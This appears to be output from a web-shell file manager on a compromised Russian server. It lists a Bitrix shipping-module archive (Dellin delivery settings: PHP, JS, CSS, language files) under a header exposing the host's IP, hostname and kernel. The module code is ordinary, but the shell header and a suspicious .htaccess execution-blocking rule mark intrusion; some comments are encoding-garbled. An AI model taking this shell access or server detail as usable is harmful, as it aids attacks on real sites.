uawdijnntqw1x1x1
IP : 216.73.216.229
Hostname : intecwork2.ru
Kernel : Linux intecwork2.ru 3.10.0-962.3.2.lve1.5.83.el7.x86_64 #1 SMP Thu Nov 23 15:58:18 UTC 2023 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
var
/
www
/
amortar
/
data
/
www
/
amg174.ru
/
.
/
dostavka-i-oplata
/
..
/
7c7f9
/
.
/
local.tar
/
/
components/.htaccess000044400000000177151760651320010540 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>components/dellindev/dellindev.shipment.derivalsettings/.parameters.php000064400000000212151760651320022634 0ustar00<?php if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true)die(); $arComponentParameters = Array( 'PARAMETERS' => array() ); ?>components/dellindev/dellindev.shipment.derivalsettings/lang/ru/class.php000064400000000005151760651320023067 0ustar00<? ?>components/dellindev/dellindev.shipment.derivalsettings/lang/en/class.php000064400000000072151760651320023047 0ustar00<? $MESS["SALE_LOCATION_MAP_BUTTON"] = "Map locations"; ?>components/dellindev/dellindev.shipment.derivalsettings/ajax.php000064400000006471151760651320021353 0ustar00<? /** * ���� backend ����������. * Bitrix Framework * @global CMain $APPLICATION */ define("NO_KEEP_STATISTIC", true); define("NO_AGENT_STATISTIC", true); define("NO_AGENT_CHECK", true); define("NOT_CHECK_PERMISSIONS", true); require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php"); $result = array("ERROR" => ""); if (!\Bitrix\Main\Loader::includeModule('sale')) $result["ERROR"] = "Error! Can't include module \"Sale\""; if (!\Bitrix\Main\Loader::includeModule('dellindev.shipment')) $result["ERROR"] = "Error! Can't include module \"dellindev.shipment\""; \Bitrix\Sale\Delivery\Services\Manager::getHandlersList(); $saleModulePermissions = $APPLICATION->GetGroupRight("sale"); if($result["ERROR"] == '' && $saleModulePermissions >= "W" && check_bitrix_sessid()) { $action = isset($_REQUEST['action']) ? trim($_REQUEST['action']): ''; if($class == '') { $result["ERROR"] = "Error! Wrong location class!"; } if (\Bitrix\Main\Loader::includeModule('dellindev.shipment')){ $ajaxService = new $class; switch ($action) { case "get_termianl_derival": /** @var Sale\Handlers\Delivery\AjaxService $ajaxService*/ $appkey = (isset($_REQUEST['appkey']) && !empty($_REQUEST['appkey']))? $_REQUEST['appkey'] : $ajaxService::LoggerInfo($action, 'appkey is null or empty'); $kladr = (isset($_REQUEST['kladr']) && !empty($_REQUEST['kladr']))? $_REQUEST['kladr']: $ajaxService::LoggerInfo($action, 'kladr is null or empty'); if(mb_strtolower(SITE_CHARSET) != 'utf-8') { $appkey = \Bitrix\Main\Text\Encoding::convertEncoding($appkey, SITE_CHARSET, 'utf-8'); $kladr = \Bitrix\Main\Text\Encoding::convertEncoding($kladr, SITE_CHARSET, 'utf-8'); } $result = $ajaxService::getTerminalsForAjax($kladr,$appkey); break; case "get_city_kladr": $q = isset($_REQUEST['query'])?$_REQUEST['query']: null; $appkey = (isset($_REQUEST['appkey']) && !empty($_REQUEST['appkey']))? $_REQUEST['appkey'] : $ajaxService::LoggerInfo($action, 'appkey is null or empty'); if(mb_strtolower(SITE_CHARSET) != 'utf-8') $q = \Bitrix\Main\Text\Encoding::convertEncoding($q, SITE_CHARSET, 'utf-8'); $result['LIST'] = $ajaxService::searchCityForAjax($q, $appkey); break; default: $result["ERROR"] = "Error! Wrong action!"; break; } } else { $result["ERROR"] = "Error! Can't include module \"dellindev.shipment\""; } } else { if($result["ERROR"] == '') $result["ERROR"] = "Error! Access denied"; } if($result["ERROR"] <> '') $result["RESULT"] = "ERROR"; else $result["RESULT"] = "OK"; if(mb_strtolower(SITE_CHARSET) != 'utf-8') $result = \Bitrix\Main\Text\Encoding::convertEncoding($result, SITE_CHARSET, 'utf-8'); header('Content-Type: application/json'); echo json_encode($result); \CMain::FinalActions(); die;components/dellindev/dellindev.shipment.derivalsettings/class.php000064400000001602151760651320021524 0ustar00<? if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); use Bitrix\Main\Localization\Loc; Loc::loadMessages(__FILE__); class CSaleDellinDerival extends CBitrixComponent { protected function checkParams($params) { if(!isset($params['AJAX_SERVICE_CLASS'])) throw new \Bitrix\Main\ArgumentNullException('AJAX_SERVICE_CLASS'); } public function onPrepareComponentParams($params) { if(!isset($params['AJAX_SERVICE_CLASS'])) $params['AJAX_SERVICE_CLASS'] = $this->arParams['AJAX_SERVICE_CLASS']; return $params; } public function executeComponent() { try { $this->checkParams($this->arParams); } catch(\Exception $e) { ShowError($e->getMessage()); return; } if(!CModule::IncludeModule('sale')) { ShowError("Module sale not installed!"); return; } CJSCore::Init('core', 'ajax'); $this->includeComponentTemplate(); } }components/dellindev/dellindev.shipment.derivalsettings/templates/.default/style.css000064400000002407151760651320025264 0ustar00td{ position:relative !important; } .kladrDiv{ position:absolute; top:0; background:#fff; box-shadow:0 0 10px 0 rgba(0,0,0,0.5); z-index:2; padding:20px; } .autocomplete{ position: absolute; z-index: 2; background: #fff; width: 300px; height: 40px; border: 1px solid #ccc; cursor: pointer; box-shadow: 0 0 10px rgba(0,0,0,0.5) } .autocomplete .rows{ position:relative; background: #fff; } .autocomplete-row{ cursor:pointer; padding:7px; height:32px; overflow:scroll; white-space: nowrap; } .autocomplete-row:hover{ background:#ccc; } input[name="CONFIG[dellin_delivery_settings][COUNTERAGENT]"],input[name="CONFIG[dellin_delivery_settings][TERMINAL_ID]"],input[name="CONFIG[dellin_delivery_settings][SENDER_FORM]"],input[name="CONFIG[dellin_delivery_settings][OPF_COUNTRY]"]{ display:none !important; } .loading .loading-content{ position: fixed; top: 0px; right: 0px; z-index: 9999; background: #fff; padding: 20px; border-radius: 10px; box-shadow:0 0 5px rgba(0,0,0,0.5); } .loading-wrap{ width: 100%; height: 100%; position: absolute; top: 0; left: 0; background: rgba(0,0,0,0.5); z-index:99; } span.error{ color:#ff0000; }components/dellindev/dellindev.shipment.derivalsettings/templates/.default/style.min.css000064400000002002151760651320026035 0ustar00td{position:relative!important}.kladrDiv{position:absolute;top:0;background:#fff;box-shadow:0 0 10px 0 rgba(0,0,0,0.5);z-index:2;padding:20px}.autocomplete{position:absolute;z-index:2;background:#fff;width:300px;height:40px;border:1px solid #ccc;cursor:pointer;box-shadow:0 0 10px rgba(0,0,0,0.5)}.autocomplete .rows{position:relative;background:#fff}.autocomplete-row{cursor:pointer;padding:7px;height:32px;overflow:scroll;white-space:nowrap}.autocomplete-row:hover{background:#ccc}input[name="CONFIG[dellin_delivery_settings][COUNTERAGENT]"],input[name="CONFIG[dellin_delivery_settings][TERMINAL_ID]"],input[name="CONFIG[dellin_delivery_settings][SENDER_FORM]"],input[name="CONFIG[dellin_delivery_settings][OPF_COUNTRY]"]{display:none!important}.loading .loading-content{position:fixed;top:0;right:0;z-index:9999;background:#fff;padding:20px;border-radius:10px;box-shadow:0 0 5px rgba(0,0,0,0.5)}.loading-wrap{width:100%;height:100%;position:absolute;top:0;left:0;background:rgba(0,0,0,0.5);z-index:99}span.error{color:#f00}components/dellindev/dellindev.shipment.derivalsettings/templates/.default/script.js000064400000025661151760651320025263 0ustar00/** * AJAX ���������. * * �������� �� ��������� ������ ������. * ��������� ���� ��� ��������� �������� ����� �����(��������� ��� ������������� ����������). * * @company BIA-Tech * @author Lazev Vadim * @year 2021 */ // �������������� ������������ ���. BX.namespace('BX.Sale.Dellin.DerivalSettings'); // � ������������� ������� ��������� ������ ��������������. BX.Sale.Dellin.DerivalSettings = { ajaxUrl: "", interruptFlag: false, requestFlag: false, serviceLocationClass: "", isError: false, viewMsg: '',// ���� ���-�� �� ������ ���������, ��������� ����� ��������� errorMsg: null, inputDisabled: false, cityKladr: null, isOpen: false, getAppkey: function(){ return document.querySelector('[name="CONFIG[MAIN][APIKEY]"]') }, setAnswer: function (answer) { // if(!answer) // { // //TODO ������� ����� ��������� �� ������. // // BX.Sale.Location.Map.pb.showError(BX.message('SALE_DLVRS_ADD_LOC_COMP_AJAX_ERROR')); // return; // } console.log(answer); this.answerData = answer; BX.Sale.Dellin.DerivalSettings.loadingData = false; }, getTerminalDerival: function() { let appkey = this.getAppkey().value; let kladr = document.querySelector('[name="CONFIG[DERIVAL][CITY_KLADR]"]').value; if (!appkey) return ; if (kladr.length > 23){ let postData = { sessid: BX.bitrix_sessid(), action: 'get_termianl_derival', appkey: appkey, kladr: kladr, class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass }; let response = BX.ajax({ timeout: 300, method: 'POST', dataType: 'json', url: BX.Sale.Dellin.DerivalSettings.ajaxUrl, data: postData, onsuccess: function(result) { let fieldTerminalList = document.querySelector('[name="CONFIG[DERIVAL][TERMINAL_ID]"]'); if (!result) return; console.log('Terminal LIST', result.TERMINALS); console.log('added term', BX.Sale.Dellin.DerivalSettings.clearOptionInTerminalList()); result.TERMINALS.map(function (terminal) { let option = document.createElement('option'); option.innerHTML = terminal.address; option.value = terminal.id; option.id = 'terminal-added'; option.selected = (fieldTerminalList.dataset.value == terminal.id); fieldTerminalList.appendChild(option); }) // BX.Dellin. }, onfailure: function(status) { console.log("onfailture", status); } }); return response; } }, clearOptionInTerminalList: function(){ let allTerminalInSelect = document.querySelectorAll('#terminal-added'); if(!allTerminalInSelect) return; allTerminalInSelect.forEach(function (el) { el.parentNode.removeChild(el) }) }, displayLoading: function () { this.hideLoading(); let tabId = document.querySelector('#edit_additional_tab_0'); let divWrap = document.createElement('div'); divWrap.className = 'loading-wrap'; let divLoading = document.createElement('div'); divLoading.className = 'loading'; let spanContent = document.createElement('span'); spanContent.className = 'loading-content'; spanContent.innerHTML = BX.message("PROCESSING"); let img = document.createElement('img'); img.src = '/bitrix/js/main/core/images/wait.gif'; spanContent.appendChild(img); divLoading.appendChild(spanContent); tabId.appendChild(divWrap); tabId.appendChild(divLoading); }, hideLoading: function() { let loadingWrap = document.querySelector('.loading-wrap'); let loading = document.querySelector('.loading'); if(loadingWrap == null){ return ''; } if(loadingWrap == undefined){ return ''; } loadingWrap.remove(); loading.remove(); // $('.loading-wrap').remove(); // $('.loading').remove(); }, validateAppkey: function(){ let value = this.getAppkey().value; if(!value){ this.isError = true; this.inputDisabled = true; this.errorMsg= BX.message("DELLINDEV_FIELD_APPKEY_UNDEFIEND"); } if(value.length <=0){ this.isError = true; this.inputDisabled = true; this.errorMsg = BX.message("DELLINDEV_FIELD_APPKEY_UNDEFIEND"); } }, getViewMsg: function () { let spanMsg = document.createElement('span'); spanMsg.innerHTML = this.viewMsg; //���������� ���� ����� ��� this.validateAppkey(); //���� ��������� ���������� � ������, ��������� ���� � �������� if(this.isErrors){ let br = document.createElement('br'); spanMsg.appendChild(br); spanMsg.appendChild(this.getErrors()); } return spanMsg; }, getErrors: function(){ if(this.isError == false){ return '' ; } let spanError = document.createElement('span'); spanError.className = 'error'; spanError.innerHTML = this.errorMsg; return spanError; }, getNode: function() { let KLADRdiv = document.createElement('div'); KLADRdiv.className = 'kladrDiv popup-container'; let spanMsg = this.getViewMsg(); KLADRdiv.appendChild(spanMsg); let inputKLADR = document.createElement('input'); inputKLADR.name = 'query'; inputKLADR.className = 'kladr_autocomplete'; inputKLADR.addEventListener('keyup', function (e) { if(this.value.length > 3){ let postData = { sessid: BX.bitrix_sessid(), action: 'get_city_kladr', query: this.value, class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass }; BX.ajax({ timeout: 300, method: 'POST', dataType: 'json', url: BX.Sale.Dellin.DerivalSettings.ajaxUrl, data: postData, onsuccess: function(result) { let fields = BX.Sale.Dellin.DerivalSettings.getAutoComplete(result); inputKLADR.after(fields); }, onfailure: function(status) { console.log("onfailture", status); } }); // console.log(request); } }); let removeButton = document.createElement('input'); removeButton.type = 'button'; removeButton.className = 'close'; removeButton.value = BX.message('BUTTON_CLOSE'); removeButton.addEventListener('click', function (e) { console.log('this.isOpen state:', BX.Sale.Dellin.DerivalSettings.isOpen); if(BX.Sale.Dellin.DerivalSettings.isOpen){ BX.Sale.Dellin.DerivalSettings.isOpen = !BX.Sale.Dellin.DerivalSettings.isOpen; KLADRdiv.remove(); } console.log('this.isOpen state:', BX.Sale.Dellin.DerivalSettings.isOpen); }); KLADRdiv.appendChild(inputKLADR); KLADRdiv.appendChild(removeButton); //TODO ����������� ���� ��� KLADRDiv ���������� �������� ����. return KLADRdiv; }, displayFieldsOnMethod(){ let fieldChangeMethod = document.querySelector('[name="CONFIG[DERIVAL][GOODSLOADING]"]'); let rowTerminalId = document.querySelector('#terminal_derival'); let rowAddress = document.querySelector('#address_derival'); let blockWorkOnlySchemeAddress = document.querySelector('#address_additional'); if(fieldChangeMethod.value == '0'){ rowTerminalId.style = ''; rowAddress.style = 'display:none'; blockWorkOnlySchemeAddress.style = 'display:none'; } else { rowAddress.style = ''; rowTerminalId.style = 'display:none'; blockWorkOnlySchemeAddress.style = ''; } console.log(fieldChangeMethod.value); }, getAutoComplete: function(result){ //TODO ������� ��� �������. BX.Sale.Dellin.DerivalSettings.clearAutoComplete(); let divAutocomplete = document.createElement('div'); divAutocomplete.className = 'autocomplete'; let divRows = document.createElement('div'); divRows.className = 'rows'; result.LIST.forEach(function (el) { let row = BX.Sale.Dellin.DerivalSettings.buildRowAutocompolite(el); divRows.appendChild(row); }); console.log(divRows); divAutocomplete.appendChild(divRows); console.log(divAutocomplete); //add block KLADinput return divAutocomplete; }, buildRowAutocompolite: function(el) { let divRow = document.createElement('div'); divRow.className = 'autocomplete-row'; divRow.dataset.id = el.code; divRow.innerHTML = el.aString + ' [' + el.code + '] '; divRow.addEventListener('click', function() { let fieldCityName = document.querySelector('[name="CONFIG[DERIVAL][CITY_NAME]"]'); fieldCityName.value = el.aString; let fieldCityKLADR = document.querySelector('[name="CONFIG[DERIVAL][CITY_KLADR]"]'); fieldCityKLADR.value = this.dataset.id; console.log('Your select KLADR:', this.dataset.id); BX.Sale.Dellin.DerivalSettings.getTerminalDerival(); BX.Sale.Dellin.DerivalSettings.clearAutoComplete(); }); return divRow; }, clearAutoComplete: function(){ let autoComplete = document.querySelector('.autocomplete'); if(autoComplete !== null){ autoComplete.remove(); } }, onblurAutocomplete: function(){ setTimeout(this.clearAutoComplete, 300); }, showBlockInputAutoComplete: function() { //��������� ��������. �� ��������� ���������. let button = document.querySelector('#findKladr'); if(!this.isOpen){ let afterButton = this.getNode(); button.after(afterButton); this.isOpen = !this.isOpen; } else { let KLADRdiv = document.querySelector('.popup-container'); KLADRdiv.remove(); this.isOpen = !this.isOpen; } }, selectCity: function() { let input = document.querySelector('#cityField'); let appkey = this.getAppkey().value if (input.value.length > 3) { let postData = { sessid: BX.bitrix_sessid(), appkey: appkey, action: 'get_city_kladr', query: input.value, class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass }; BX.ajax({ timeout: 300, method: 'POST', dataType: 'json', url: BX.Sale.Dellin.DerivalSettings.ajaxUrl, data: postData, onsuccess: function(result) { let fields = BX.Sale.Dellin.DerivalSettings.getAutoComplete(result); input.after(fields); }, onfailure: function(status) { console.log("onfailture", status); } }); } } }; components/dellindev/dellindev.shipment.derivalsettings/templates/.default/lang/ru/script.php000064400000000145151760651320026773 0ustar00<?$MESS["DELLINDEV_FIELD_APPKEY_UNDEFIEND"] = "Поле с ключем не определено!"; components/dellindev/dellindev.shipment.derivalsettings/templates/.default/lang/ru/template.php000064400000013520151760651320027303 0ustar00<? $MESS['API_KEY_EMPTY'] = 'Для поиска должен быть заполнен Ключ API'; $MESS['PROCESSING'] = 'Обработка запроса...'; $MESS['EMPTY_DERIVAL_SEARCH'] = 'Для поиска должен быть заполнен Пункт отправления'; $MESS['EMPTY_KLADR_SEARCH'] = 'Для поиска должен быть заполнен Код КЛАДР города / Пункта отправления'; $MESS['EMPTY_API_SEARCH'] = 'Для поиска должен быть заполнен Ключ API'; $MESS['SEARCH_MSG'] = 'Начните писать название'; $MESS['EMPTY_CITY_KLADR'] = 'Не задан КЛАДР города'; $MESS['FIND_CITY_KLADR'] = 'найти КЛАДР города'; $MESS['FIND_STREET_KLADR'] = 'найти КЛАДР улицы'; $MESS['BUTTON_CLOSE'] = 'закрыть'; $MESS['BUTTON_SELECT'] = 'выбрать'; $MESS['DELLIN_SETTINGS_TITLE_GOODS_LOADING_SECTION_HEADER'] = 'Погрузка'; $MESS['DELLIN_SETTINGS_TITLE_IS_GOODS_LOADING'] = 'Забрать груз от адреса отправителя'; $MESS['DELLIN_SETTINGS_TITLE_LOADING_TYPE'] = 'Тип погрузки машины'; $MESS['DELLIN_SETTINGS_VALUES_LOADING_TYPE_BACK'] = 'Задняя'; $MESS['DELLIN_SETTINGS_VALUES_LOADING_TYPE_SIDE'] = 'Боковая'; $MESS['DELLIN_SETTINGS_VALUES_LOADING_TYPE_UP'] = 'Верхняя'; $MESS['DELLIN_SETTINGS_TITLE_ADDITIONAL_EQUIPMENT'] = 'Дополнительная комплектация'; $MESS['DELLIN_SETTINGS_VALUES_ADDITIONAL_EQUIPMENT_NO'] = 'Не требуются'; $MESS['DELLIN_SETTINGS_VALUES_ADDITIONAL_EQUIPMENT_TAIL_LIFT'] = 'Гидроборт'; $MESS['DELLIN_SETTINGS_VALUES_ADDITIONAL_EQUIPMENT_MANIPULATOR'] = 'Манипулятор'; $MESS['DELLIN_SETTINGS_TITLE_TRANSPORT_REQUIREMENTS'] = 'Специальные требования к транспорту'; $MESS['DELLIN_SETTINGS_VALUES_TRANSPORT_REQUIREMENTS_NO'] = 'Не требуются'; $MESS['DELLIN_SETTINGS_VALUES_TRANSPORT_REQUIREMENTS_OPEN'] = 'Открытая машина'; $MESS['DELLIN_SETTINGS_VALUES_TRANSPORT_REQUIREMENTS_TENT'] = 'Требуется растентовка'; $MESS["DELLINDEV_INPUT_POINT_DERIVAL"] = "Передача груза"; $MESS["DELLINDEV_INPUT_CITY"] = "Населённый пункт"; $MESS["DELLINDEV_KLADR_CODE_CITY_DERIVAL"] = "КЛАДР"; $MESS["DELLINDEV_SELECTED_SCHEME"] = "При выборе схемы отгрузки \"От терминала\" выберите поле терминал в поле \"Терминал отгрузки\"."; $MESS["DELLINDEV_SELECTED_SCHEME_INFO"] = " При выборе схемы отгрузки \"От адреса\" введите в поле \"Адрес отгрузки CDI\" адрес формата \"Россия, Свердловская область, Екатеринбург, проспект Ленина, д. 1\" . "; $MESS["DELLINDEV_SCHEME_DERIVAL"] = "Способ отправки"; $MESS["DELLINDEV_FROM_TERMINAL"] = "От терминала"; $MESS["DELLINDEV_FROM_ADDRESS"] = "От адреса"; $MESS["DELLINDEV_ADDRESS_DERIVAL"] = "Адрес забора груза"; $MESS["DELLINDEV_TERMINAL_DERIVAL"] = "Терминал отправки"; $MESS["DELLINDEV_TERMINAL_NOT_SELECTED"] = "Не выбран"; $MESS["DELLINDEV_WORK_BREAK_START_END_4_HOURS"] = "Время работы склада. <br/> Время работы склада (без учета перерыва) должно быть не менее 4 часов."; $MESS["DELLINDEV_WORK_START"] = "Начало рабочего дня"; $MESS["DELLINDEV_WORK_BREAK_START"] = "Начала перерыва"; $MESS["DELLINDEV_WORK_BREAK_END"] = "Окончание перерыва"; $MESS["DELLINDEV_WORK_END"] = "Окончание рабочего дня:"; $MESS["DELLINDEV_REQUIREMENTS_TRANSPORT_LOADING"] = "Услуги при доставке от адреса"; $MESS["DELLINDEV_NOT_REQUEIRED"] = "Не требуется"; $MESS["DELLINDEV_BACK_LOADING"] = "Задняя погрузка "; $MESS["DELLINDEV_UPPER_LOADING"] = "Верхняя погрузка "; $MESS["DELLINDEV_SPEC_REQUIREMENT_TRANSPORT"] = "Специальные требования к транспорту"; $MESS["DELLINDEV_OPEN_CAR"] = "Открытая машина"; $MESS["DELLINDEV_REQUIRED_UN_CANOPY"] = "Требуется растентовка"; $MESS["DELLINDEV_ADDITIONAL_COMPLECT"] = "Дополнительная комплектация:"; $MESS["DELLINDEV_PALLET_LIFT"] = "Гидроборт"; $MESS["DELLINDEV_MANIPULATOR"] = "Манипулятор"; $MESS["DELLINDEV_ADDRESS_VALUE_DESC"] = " Например: Россия, Свердловская обл, Екатеринбург, ул. Шевченко, д.1 "; $MESS["DELLINDEV_DESCRIPTION_ADDRESS_VALUE_1"] = "Примечание: адрес забора груза должен содержать следующие элементы: страна, субьект, населённый пункт, улица, номер дома."; $MESS["DELLINDEV_LOADING_SIDE"] = "Боковая погрузка"; $MESS["DELLINDEV_PARAM_DELIVERY_DELAY"] = "Параметры отложенной доставки "; $MESS["DELLINDEV_DELAY_DAY"] = "Отложить доставку на"; $MESS["DELLINDEV_DAYS"] = "(дней)"; $MESS["DELLINDEV_LOADING_TYPE"] = "Тип погрузки"; $MESS["DELLINDEV_CARGO_UPPER_WORK"] = "Погрузочные работы"; $MESS["SIDE_LOADING"] = "Боковая загрузка"; $MESS["UPPER_LOADING"] = "Верхняя загрузка"; $MESS["PALLET_LIFT"] = "Гидроборт"; $MESS["MANIPULATOR"] = "Манипулятор"; $MESS["REQUIRED_OPEN_CAR"] = "Требуется открытая машина"; $MESS["UN_CANOPY"] = "Растентовка"; $MESS["DELLINDEV_SHIPMENT_CHOOSE_TIME"] = "Не указано"; ?>components/dellindev/dellindev.shipment.derivalsettings/templates/.default/lang/en/script.php000064400000000145151760651320026747 0ustar00<?$MESS["DELLINDEV_FIELD_APPKEY_UNDEFIEND"] = "Поле с ключем не определено!"; components/dellindev/dellindev.shipment.derivalsettings/templates/.default/lang/en/template.php000064400000001151151760651320027254 0ustar00<? $MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Locations registered"; $MESS["SALE_LOCATION_MAP_LOC_MAPPED"] = "Locations mapped"; $MESS["SALE_LOCATION_MAP_CLOSE"] = "Close"; $MESS["SALE_LOCATION_MAP_LOC_MAPPING"] = "Map locations"; $MESS["SALE_LOCATION_MAP_CANCEL"] = "Cancel"; $MESS["SALE_LOCATION_MAP_PREPARING"] = "Prepare"; $MESS["SALE_LOCATION_MAP_NEW"] = "Map unmapped locations"; $MESS["SALE_LOCATION_MAP_ALL"] = "Delete existing mappings before mapping"; $MESS["SALE_LOCATION_MAP_NEW_B"] = "Map new locations"; $MESS["SALE_LOCATION_MAP_ALL_B"] = "Map all locations"; $MESS["SALE_DLV_SRV_SPSR_LOC_MAP"] = "Map"; ?>components/dellindev/dellindev.shipment.derivalsettings/templates/.default/script.min.js000064400000025661151760651320026045 0ustar00/** * AJAX ���������. * * �������� �� ��������� ������ ������. * ��������� ���� ��� ��������� �������� ����� �����(��������� ��� ������������� ����������). * * @company BIA-Tech * @author Lazev Vadim * @year 2021 */ // �������������� ������������ ���. BX.namespace('BX.Sale.Dellin.DerivalSettings'); // � ������������� ������� ��������� ������ ��������������. BX.Sale.Dellin.DerivalSettings = { ajaxUrl: "", interruptFlag: false, requestFlag: false, serviceLocationClass: "", isError: false, viewMsg: '',// ���� ���-�� �� ������ ���������, ��������� ����� ��������� errorMsg: null, inputDisabled: false, cityKladr: null, isOpen: false, getAppkey: function(){ return document.querySelector('[name="CONFIG[MAIN][APIKEY]"]') }, setAnswer: function (answer) { // if(!answer) // { // //TODO ������� ����� ��������� �� ������. // // BX.Sale.Location.Map.pb.showError(BX.message('SALE_DLVRS_ADD_LOC_COMP_AJAX_ERROR')); // return; // } console.log(answer); this.answerData = answer; BX.Sale.Dellin.DerivalSettings.loadingData = false; }, getTerminalDerival: function() { let appkey = this.getAppkey().value; let kladr = document.querySelector('[name="CONFIG[DERIVAL][CITY_KLADR]"]').value; if (!appkey) return ; if (kladr.length > 23){ let postData = { sessid: BX.bitrix_sessid(), action: 'get_termianl_derival', appkey: appkey, kladr: kladr, class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass }; let response = BX.ajax({ timeout: 300, method: 'POST', dataType: 'json', url: BX.Sale.Dellin.DerivalSettings.ajaxUrl, data: postData, onsuccess: function(result) { let fieldTerminalList = document.querySelector('[name="CONFIG[DERIVAL][TERMINAL_ID]"]'); if (!result) return; console.log('Terminal LIST', result.TERMINALS); console.log('added term', BX.Sale.Dellin.DerivalSettings.clearOptionInTerminalList()); result.TERMINALS.map(function (terminal) { let option = document.createElement('option'); option.innerHTML = terminal.address; option.value = terminal.id; option.id = 'terminal-added'; option.selected = (fieldTerminalList.dataset.value == terminal.id); fieldTerminalList.appendChild(option); }) // BX.Dellin. }, onfailure: function(status) { console.log("onfailture", status); } }); return response; } }, clearOptionInTerminalList: function(){ let allTerminalInSelect = document.querySelectorAll('#terminal-added'); if(!allTerminalInSelect) return; allTerminalInSelect.forEach(function (el) { el.parentNode.removeChild(el) }) }, displayLoading: function () { this.hideLoading(); let tabId = document.querySelector('#edit_additional_tab_0'); let divWrap = document.createElement('div'); divWrap.className = 'loading-wrap'; let divLoading = document.createElement('div'); divLoading.className = 'loading'; let spanContent = document.createElement('span'); spanContent.className = 'loading-content'; spanContent.innerHTML = BX.message("PROCESSING"); let img = document.createElement('img'); img.src = '/bitrix/js/main/core/images/wait.gif'; spanContent.appendChild(img); divLoading.appendChild(spanContent); tabId.appendChild(divWrap); tabId.appendChild(divLoading); }, hideLoading: function() { let loadingWrap = document.querySelector('.loading-wrap'); let loading = document.querySelector('.loading'); if(loadingWrap == null){ return ''; } if(loadingWrap == undefined){ return ''; } loadingWrap.remove(); loading.remove(); // $('.loading-wrap').remove(); // $('.loading').remove(); }, validateAppkey: function(){ let value = this.getAppkey().value; if(!value){ this.isError = true; this.inputDisabled = true; this.errorMsg= BX.message("DELLINDEV_FIELD_APPKEY_UNDEFIEND"); } if(value.length <=0){ this.isError = true; this.inputDisabled = true; this.errorMsg = BX.message("DELLINDEV_FIELD_APPKEY_UNDEFIEND"); } }, getViewMsg: function () { let spanMsg = document.createElement('span'); spanMsg.innerHTML = this.viewMsg; //���������� ���� ����� ��� this.validateAppkey(); //���� ��������� ���������� � ������, ��������� ���� � �������� if(this.isErrors){ let br = document.createElement('br'); spanMsg.appendChild(br); spanMsg.appendChild(this.getErrors()); } return spanMsg; }, getErrors: function(){ if(this.isError == false){ return '' ; } let spanError = document.createElement('span'); spanError.className = 'error'; spanError.innerHTML = this.errorMsg; return spanError; }, getNode: function() { let KLADRdiv = document.createElement('div'); KLADRdiv.className = 'kladrDiv popup-container'; let spanMsg = this.getViewMsg(); KLADRdiv.appendChild(spanMsg); let inputKLADR = document.createElement('input'); inputKLADR.name = 'query'; inputKLADR.className = 'kladr_autocomplete'; inputKLADR.addEventListener('keyup', function (e) { if(this.value.length > 3){ let postData = { sessid: BX.bitrix_sessid(), action: 'get_city_kladr', query: this.value, class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass }; BX.ajax({ timeout: 300, method: 'POST', dataType: 'json', url: BX.Sale.Dellin.DerivalSettings.ajaxUrl, data: postData, onsuccess: function(result) { let fields = BX.Sale.Dellin.DerivalSettings.getAutoComplete(result); inputKLADR.after(fields); }, onfailure: function(status) { console.log("onfailture", status); } }); // console.log(request); } }); let removeButton = document.createElement('input'); removeButton.type = 'button'; removeButton.className = 'close'; removeButton.value = BX.message('BUTTON_CLOSE'); removeButton.addEventListener('click', function (e) { console.log('this.isOpen state:', BX.Sale.Dellin.DerivalSettings.isOpen); if(BX.Sale.Dellin.DerivalSettings.isOpen){ BX.Sale.Dellin.DerivalSettings.isOpen = !BX.Sale.Dellin.DerivalSettings.isOpen; KLADRdiv.remove(); } console.log('this.isOpen state:', BX.Sale.Dellin.DerivalSettings.isOpen); }); KLADRdiv.appendChild(inputKLADR); KLADRdiv.appendChild(removeButton); //TODO ����������� ���� ��� KLADRDiv ���������� �������� ����. return KLADRdiv; }, displayFieldsOnMethod(){ let fieldChangeMethod = document.querySelector('[name="CONFIG[DERIVAL][GOODSLOADING]"]'); let rowTerminalId = document.querySelector('#terminal_derival'); let rowAddress = document.querySelector('#address_derival'); let blockWorkOnlySchemeAddress = document.querySelector('#address_additional'); if(fieldChangeMethod.value == '0'){ rowTerminalId.style = ''; rowAddress.style = 'display:none'; blockWorkOnlySchemeAddress.style = 'display:none'; } else { rowAddress.style = ''; rowTerminalId.style = 'display:none'; blockWorkOnlySchemeAddress.style = ''; } console.log(fieldChangeMethod.value); }, getAutoComplete: function(result){ //TODO ������� ��� �������. BX.Sale.Dellin.DerivalSettings.clearAutoComplete(); let divAutocomplete = document.createElement('div'); divAutocomplete.className = 'autocomplete'; let divRows = document.createElement('div'); divRows.className = 'rows'; result.LIST.forEach(function (el) { let row = BX.Sale.Dellin.DerivalSettings.buildRowAutocompolite(el); divRows.appendChild(row); }); console.log(divRows); divAutocomplete.appendChild(divRows); console.log(divAutocomplete); //add block KLADinput return divAutocomplete; }, buildRowAutocompolite: function(el) { let divRow = document.createElement('div'); divRow.className = 'autocomplete-row'; divRow.dataset.id = el.code; divRow.innerHTML = el.aString + ' [' + el.code + '] '; divRow.addEventListener('click', function() { let fieldCityName = document.querySelector('[name="CONFIG[DERIVAL][CITY_NAME]"]'); fieldCityName.value = el.aString; let fieldCityKLADR = document.querySelector('[name="CONFIG[DERIVAL][CITY_KLADR]"]'); fieldCityKLADR.value = this.dataset.id; console.log('Your select KLADR:', this.dataset.id); BX.Sale.Dellin.DerivalSettings.getTerminalDerival(); BX.Sale.Dellin.DerivalSettings.clearAutoComplete(); }); return divRow; }, clearAutoComplete: function(){ let autoComplete = document.querySelector('.autocomplete'); if(autoComplete !== null){ autoComplete.remove(); } }, onblurAutocomplete: function(){ setTimeout(this.clearAutoComplete, 300); }, showBlockInputAutoComplete: function() { //��������� ��������. �� ��������� ���������. let button = document.querySelector('#findKladr'); if(!this.isOpen){ let afterButton = this.getNode(); button.after(afterButton); this.isOpen = !this.isOpen; } else { 